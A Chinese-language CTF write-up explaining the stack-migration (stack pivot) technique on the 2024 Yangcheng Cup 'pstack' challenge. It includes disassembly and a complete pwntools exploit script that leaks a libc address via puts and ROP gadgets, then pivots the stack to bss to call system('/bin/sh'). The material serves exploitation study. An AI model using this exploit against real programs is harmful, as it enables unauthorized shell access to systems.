Stack-Migration

昨天面试,学习(或者说是复习)一下面试中答的不太好的问题。被问到了栈溢出没有puts函数泄露libc地址该怎么做。当时有点懵,回答了用syscall调用write。实际上有一种栈迁移的方法,setbuf时会在bss上面放一些libc的地址,利用栈溢出把栈迁移到bss段上,可以在bss段上面构造地址。

栈迁移举例

​ 实际上,就是利用两次leave ret来任意修改rsp(栈顶)的值。leave == mov rsp, rbp; pop rbp

​ 来看羊城杯2024 pstack,见谅可能写的不太易懂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ssize_t vuln()
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF

puts("Can you grasp this little bit of overflow?");
return read(0, buf, 0x40uLL);
}

.text:00000000004006B0 push rbp
.text:00000000004006B1 mov rbp, rsp
.text:00000000004006B4 sub rsp, 30h
.text:00000000004006B8 lea rdi, s ; "Can you grasp this little bit of overfl"...
.text:00000000004006BF call puts
.text:00000000004006C4 lea rax, [rbp+buf]
.text:00000000004006C8 mov edx, 40h ; '@' ; nbytes
.text:00000000004006CD mov rsi, rax ; buf
.text:00000000004006D0 mov edi, 0 ; fd
.text:00000000004006D5 call read
.text:00000000004006DA nop
.text:00000000004006DB leave
.text:00000000004006DC retn

​ vuln函数存在栈溢出,但是只能溢出两个单元,正好是栈上保存的父函数栈帧、和返回地址。

​ 此时将rbp覆盖成bss段上的地址,然后将返回地址改成vuln的read函数处,则rbp在该函数leave时会指向bss段。然后ret到vuln_read处执行。

​ 由于vuln函数的read是用rbp+偏移来获得buf的地址的,所以其实rbp被我们修改后,read函数就会在bss段写入(我们在这里写入rop链,rop链的内容就是泄露puts函数地址->恢复rbp->vuln_read。后面正好是rbp,跟上rop链起始位置和leave; ret,用作迁移。),此时vuln_read执行完毕后再次leave,这时候我们在栈上预留的rbp就会传递给rsp,然后ret到bss段上。

​ 由于我们在写rop链时,给rsp的位置保留了leave; ret,那么rop链中的,rop链起始位置的值,会再次传给rsp,并且ret。此时rsp就会到bss的rop链上执行了。

​ 同样地,rop链中,我们有pop_rbp_ret,可以控制rbp指向bss段。然后最后再跟上vuln_read,就可以通过read函数的rbp相对寻址,再次在bss段上写入。写入后执行nop; leave; retn;。同理,在写入的最末尾两个单元分别放入rop链2的起始地址和leave; ret的gadget,就可以将rsp再迁移到rop链2处,rop链2处执行system("/bin/sh")即可。

总结

​ 栈迁移,就是将rsp、rbp迁移到别的位置的手段。

可以处理的问题

  1. 对栈溢出长度不够,rop链无法写入。
  2. 没有puts等泄露函数时,将栈迁移到bss段上,利用setvbuf函数执行时再bss段上保留的libc地址来凑地址。

原理

​ 利用两次leave; ret,将我们在栈中写入的、覆盖的保留rbp值,移动到rsp中。这两次leave; ret的第一次一般是函数执行完毕时执行的leave; retn,第二次一般都是覆盖返回地址时写入的gadget。

exp

​ 师傅们可以根据exp和题目来调试加深理解。

​ 题目链接:Release 附件下载 · CTF-Archives/2024-YCB-Undergraduate

​ exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
#context.terminal = ['tmux', 'splitw', '-h']

pop_rbp_ret = 0x00000000004005b0
pop_rdi_ret = 0x0000000000400773
vuln_read = 0x00000000004006C4
leave_ret = 0x00000000004006db

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

bss = elf.bss() + 0x800
payload1 = b'a' * 0x30 + p64(bss + 0x20) + p64(vuln_read)
io.sendafter(b'overflow?\n',payload1)

#bss = 0x601810

payload2 = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp_ret) + p64(bss + 0x300) + p64(vuln_read) + p64(bss - 0x18) + p64(leave_ret)
io.send(payload2)

leak_puts = u64(io.recv(6).ljust(8,b'\x00'))
libc_base = leak_puts - libc.sym['puts']
print(hex(libc_base))
system_addr = libc.sym['system'] + libc_base
binsh_addr = next(libc.search(b'/bin/sh\x00')) + libc_base

gdb.attach(io)
pause()


payload3 = p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(bss + 0x300 - 0x38) + p64(leave_ret)
io.send(payload3)

io.interactive()